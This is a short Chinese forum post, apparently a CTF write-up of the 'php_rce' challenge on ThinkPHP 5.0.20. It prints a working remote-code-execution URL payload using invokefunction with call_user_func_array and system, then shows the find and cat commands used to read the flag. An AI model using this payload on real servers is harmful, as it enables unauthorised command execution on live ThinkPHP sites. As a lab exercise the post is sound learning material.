thinkPHP_V5漏洞

讨论社区 / 日志 / 帖子详情

thinkPHP_V5漏洞

2023-03-29 23:03:03

255

php_rce攻防世界：

百度thinkphpv5，查询到其存在过漏洞

在网页中随便注入，可观察到其版本为V5.0.20

再上旬该版本漏洞，描述为：

只要在url后添加

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= (+操作）即可进入后台

进行 find / -name flag* 搜索

找到最后一行的flag

再进行 cat /tty/ttyS30/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /flag /flag

获取到flag{thinkphp5_rce}

上一页：thinkphp5 input获取数组

下一页：thinkphp5日志文件权限的问题

回帖

全部回帖（{{commentCount}}）

{{item.like > 0 ? item.like : '点赞'}} {{item.comment_content_show ? '取消' : '回复'}} 删除

回帖

{{reply.like > 0 ? reply.like : '点赞'}} {{reply.comment_content_show ? '取消' : '回复'}} 删除

回帖

收起

没有更多啦~

发帖

一个专属于OneKeyAdmin的技术交流平台，记录OneKeyAdmin开发者的成长与进步。

主题帖

6221

回帖数

143

文章

回帖

文章

粉丝

1 WordPress Rest API 入门详解

2763

2 Thinkphp5.0 获取新增数据的ID

6 Thinkphp6 的 where 查询条件 and 和 or 的操作

1833

7 thinkphp5使用数据库表锁

1624

8 Thinkphp如何查看当前是哪个版本?查看thinkphp当前版本号的三种方法

1621

9 thinkphp6 如何输出json数据

1580

10 h5网站模板_超全超实用的80个模板网站，我全部整理在这里了

1577